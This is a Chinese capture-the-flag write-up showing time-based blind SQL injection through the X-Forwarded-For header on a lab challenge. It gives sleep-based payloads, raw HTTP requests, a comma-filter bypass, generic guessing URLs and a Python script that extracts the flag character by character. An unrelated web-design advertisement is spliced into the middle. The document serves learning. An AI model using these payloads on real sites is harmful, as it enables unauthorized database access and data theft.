首先我承認(rèn)我看了別人怎么做的
因?yàn)槲也]有什么經(jīng)驗(yàn)雖然知道回顯是由X-Forwarded-For 參數(shù)導(dǎo)致的 但一直無(wú)法利用 所以看了demo
因?yàn)樯婕暗揭獙懩_本記錄注入過(guò)程 所以特此記錄
我看了2個(gè)demo選擇了最直接的一個(gè)也就是使用awvs掃描 然后再python掃 因?yàn)槲矣X得我并沒有手工找注入點(diǎn)的本事 先學(xué)學(xué)利用工具
雖然別人寫了用awvs 但是開始不管怎么掃描都是掃描不出來(lái) 后來(lái)。。一個(gè)簡(jiǎn)單的辦法原來(lái)是這樣 附圖:
目前累計(jì)服務(wù)客戶上千家,積累了豐富的產(chǎn)品開發(fā)及服務(wù)經(jīng)驗(yàn)。以網(wǎng)站設(shè)計(jì)水平和技術(shù)實(shí)力,樹立企業(yè)形象,為客戶提供成都網(wǎng)站建設(shè)、成都網(wǎng)站設(shè)計(jì)、網(wǎng)站策劃、網(wǎng)頁(yè)設(shè)計(jì)、網(wǎng)絡(luò)營(yíng)銷、VI設(shè)計(jì)、網(wǎng)站改版、漏洞修補(bǔ)等服務(wù)。成都創(chuàng)新互聯(lián)始終以務(wù)實(shí)、誠(chéng)信為根本,不斷創(chuàng)新和提高建站品質(zhì),通過(guò)對(duì)領(lǐng)先技術(shù)的掌握、對(duì)創(chuàng)意設(shè)計(jì)的研究、對(duì)客戶形象的視覺傳遞、對(duì)應(yīng)用系統(tǒng)的結(jié)合,為客戶提供更好的一站式互聯(lián)網(wǎng)解決方案,攜手廣大客戶,共同發(fā)展進(jìn)步。
好簡(jiǎn)單 然后發(fā)現(xiàn)了果然是可以注入的 好像是基于的時(shí)間延遲 可惜沒系統(tǒng)學(xué)習(xí)不懂 后期補(bǔ)學(xué)習(xí)內(nèi)容
給的內(nèi)容是:
Tests performed:
(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => 6.053 s
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.062 s
(select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/ => 3.042 s
(select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/ => 9.033 s
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.047 s
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.047 s
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.046 s
(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => 6.052 s
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => 0.063 s
Original value: 1
然后使用 http editor 測(cè)試
簡(jiǎn)化的get數(shù)據(jù)為
GET /web/wonderkun/ HTTP/1.1
X-Forwarded-For: 1'+(select 1 from(select(sleep(5)))v)+'
Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php
Host: ctf5.shiyanbar.com
這樣就是有效的
反復(fù)改變應(yīng)該在select(sleep(5)) 修改能辦到
因?yàn)椴恍⌒目吹絛emo 用了case 語(yǔ)句 所以在測(cè)試機(jī)上 使用這樣的語(yǔ)句測(cè)試了下:
select case when (select length(test) from aaa) then sleep(2) else sleep(0) end
是有效的。。
替換掉get數(shù)據(jù)依然有效果
然后想了下 實(shí)驗(yàn)吧的測(cè)試 基本上表字段都是 flag 于是我試一試看行不行 好像可以
get請(qǐng)求為:
GET /web/wonderkun/ HTTP/1.1
X-Forwarded-For: 1'+(select 1 from(select case when (select length(flag) from flag)>10 then sleep(2) else sleep(0) end)v)+'
Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php
Host: ctf5.shiyanbar.com
然后就是開始判斷他的值了 不過(guò)貌似需要用循環(huán)函數(shù)去猜解 雖然他給了demo但是還是自己弄一弄
首先我知道了表 字段 就只需要猜字段數(shù)據(jù)長(zhǎng)度 和 字段的每一個(gè)字母了
首先百度如何猜字段數(shù)據(jù)長(zhǎng)度內(nèi)容如下:
1.猜解表名:
http://xxx.com/test.asp?id=123 and (select count(*) from admin)>=0//猜解是否有表admin
2.猜解字段名:
http://xxx.com/test.asp?id=123 and (select count(adminname) from admin)>=0//admin表中是否有字段adminname
3.猜解字段長(zhǎng)度:
//從admin表中選取第一條記錄,來(lái)獲取這條記錄的adminname字段長(zhǎng)度
http://xxx.com/test.asp?id=123 and (select top 1 len(adminname) from admin)>=0
http://xxx.com/test.asp?id=123 and (select top 1 len(adminname) from admin)=7//字段adminname長(zhǎng)度為7
4.猜解字段值:
//從admin表中選取第一條記錄,逐個(gè)猜解字段adminname的值,直到7個(gè)
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,1,1)) from admin)=97
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,2,1)) from admin)=78
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,3,1)) from admin)=96
..........
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,7,1)) from admin)=102
首先猜一下字段的長(zhǎng)度
字段長(zhǎng)度猜解 應(yīng)手動(dòng)很快
反復(fù)大于小于 求得應(yīng)該是32個(gè)字符(上邊用的len 好像不對(duì)應(yīng)該是數(shù)據(jù)庫(kù)不一樣 我這里用的length)
GET /web/wonderkun/ HTTP/1.1
X-Forwarded-For: 1'+(select 1 from(select case when ((select length(flag) from flag) = 32) then sleep(1) else sleep(0) end)v)+'
Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php
Host: ctf5.shiyanbar.com
這里說(shuō)下我用的工具 還是用的awvs的 http editor
然后繼續(xù)在測(cè)試機(jī)上寫驗(yàn)證字符串的sql 不過(guò)我先創(chuàng)建張模擬一樣的表試試。
剛剛發(fā)現(xiàn)if也應(yīng)該可以做不用用case if 看著更明朗
select if((select length(flag) from flag) = 32,sleep(1),sleep(0));
可惜我替換成這樣的 sleep失效 哎繼續(xù)看怎么判斷 我現(xiàn)在唯一應(yīng)該能用的可以使用
select substring(flag,2,1) from flag 應(yīng)該這樣就可以了應(yīng)該要使用substring函數(shù) 這個(gè)和mid應(yīng)該是一樣的。
試一下 按照慣例 應(yīng)該值應(yīng)該是 flag{} 這樣的。。試一下
GET /web/wonderkun/ HTTP/1.1
X-Forwarded-For: 1'+(select 1 from(select case when ((select substring(flag,1,1) from flag) = 'f') then sleep(1) else sleep(0) end)v)+'
Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php
Host: ctf5.shiyanbar.com
但是好像時(shí)間不是1S 猜測(cè)難道失敗了? 回想了下剛剛if 也是沒效果
if的回顯:
your ip is :1'+(select 1 from(select if((select length(flag) from flag) = 32
貌似從,開始被截?cái)嗔恕?/p>
看來(lái)不解決逗號(hào)不能前進(jìn)了。。。
繼續(xù)搜資料
http://www.91ri.org/12168.html
不得不佩服資源的強(qiáng)大
修改后的請(qǐng)求:
GET /web/wonderkun/ HTTP/1.1
X-Forwarded-For: 1'+(select 1 from(select case when ((select substring(flag from 1 for 1) from flag) = 'f') then sleep(1) else sleep(0) end)v)+'
Referer: http://ctf5.shiyanbar.com/web/wonderkun/index.php
Host: ctf5.shiyanbar.com
然后試了一下貌似不行 我把后邊sleep(0)改為了5 出效果了
開始寫腳本
(首先得需要一個(gè)python實(shí)例手冊(cè))
先搜索request 然后看看get 請(qǐng)求怎么寫的 和加入header信息
擼一擼
因?yàn)榭赡苄枰貜?fù)調(diào)用先封裝成一個(gè)方法
筆者不知道 {} 怎么添加所以也百度了一下
再然后應(yīng)該是怎么判斷時(shí)間 只需要time取執(zhí)行前 和執(zhí)行后就應(yīng)該可以了 然后整一個(gè)循環(huán) 應(yīng)該就能搞定
如下代碼含注釋 即可完成:
# -*- coding: utf-8 -*-
import requests
import time
#定義個(gè)方法返回時(shí)間時(shí)間差 var定義為猜解字符 num為猜解的多少位
def test(var,num):
#url鏈接
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
#頭信息 X-Forwarded-For 插入變量
headers = {}
#X-Forwarded-For 指定 如果是該字符 進(jìn)行sleep 5秒
headers['X-Forwarded-For']="""1'+(select 1 from(select case when ((select substring(flag from """+str(num)+""" for 1) from flag) = '"""+str(var)+"""') then sleep(5) else sleep(0) end)v)+'"""
headers['Referer']='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
headers['Host']='ctf5.shiyanbar.com'
#執(zhí)行前時(shí)間獲取
time_start=time.time();
r = requests.get(url,headers=headers);
#執(zhí)行后時(shí)間獲取
time_stop=time.time();
#返回時(shí)間差
return int(time_stop)-int(time_start);
#定義testChar 為一個(gè)字符串字典
testChar='abcdefghijklmnopqrstuvwxyz0123456789@_.{}-'
#手工檢測(cè)出32位進(jìn)行循環(huán)猜解 先進(jìn)入一個(gè)循環(huán)破解的多少個(gè)字符串
for x in xrange(1,33):
#循環(huán)單個(gè)破解的字
for j in testChar:
#判斷時(shí)間差是否大于等于5
if test(j,x) >= 5:
#破解后字符
print str(x)+':'+str(j)
值得注意xrange 1,33 我開始寫錯(cuò)了 寫成32 結(jié)果只出來(lái)31個(gè)值。。。 還有就是此題沒說(shuō) ctf{} 擴(kuò)起來(lái) 坑啊!!
題:
http://ctf5.shiyanbar.com/web/wonderkun/index.php